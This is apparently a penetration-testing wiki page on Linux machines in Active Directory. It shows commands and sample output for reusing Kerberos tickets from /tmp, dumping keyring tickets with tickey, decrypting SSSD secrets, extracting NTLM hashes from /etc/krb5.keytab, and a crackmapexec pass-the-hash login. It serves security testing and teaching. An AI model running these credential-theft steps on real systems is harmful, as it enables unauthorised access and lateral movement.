hacktricks/linux-hardening/privilege-escalation/linux-active-directory.md

# Linux Active Directory

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A linux machine can also be present inside an Active Directory environment.

A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.

## Enumeration

### AD enumeration from linux

If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.

You can also check the following page to learn **other ways to enumerate AD from linux**:

{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}

### FreeIPA

It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Learn more about it in:

{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}

## Playing with tickets

### Pass The Ticket

In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:

{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}

### CCACHE ticket reuse from /tmp

> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.

```bash
ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115

export KRB5CCNAME=/tmp/krb5cc_1569901115
```

### CCACHE ticket reuse from keyring

Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)

```bash
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets
```

### CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.

Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.

```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```

The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.

### CCACHE ticket reuse from keytab

```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```

### Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure.

Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**.

```
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
	 KVNO: 25
	 Key type: 23
	 Key: 31d6cfe0d16ae931b73c59d7e0c089c0
	 Time stamp: Oct 07,  2019 09:12:02
[...]
```

On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash.

```bash
python3 keytabextract.py krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
```

On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost).

```bash
./bifrost -action dump -source keytab -path test
```

Connect to the machine using the account and the hash with CME.

```bash
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0  
```

## References

* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)

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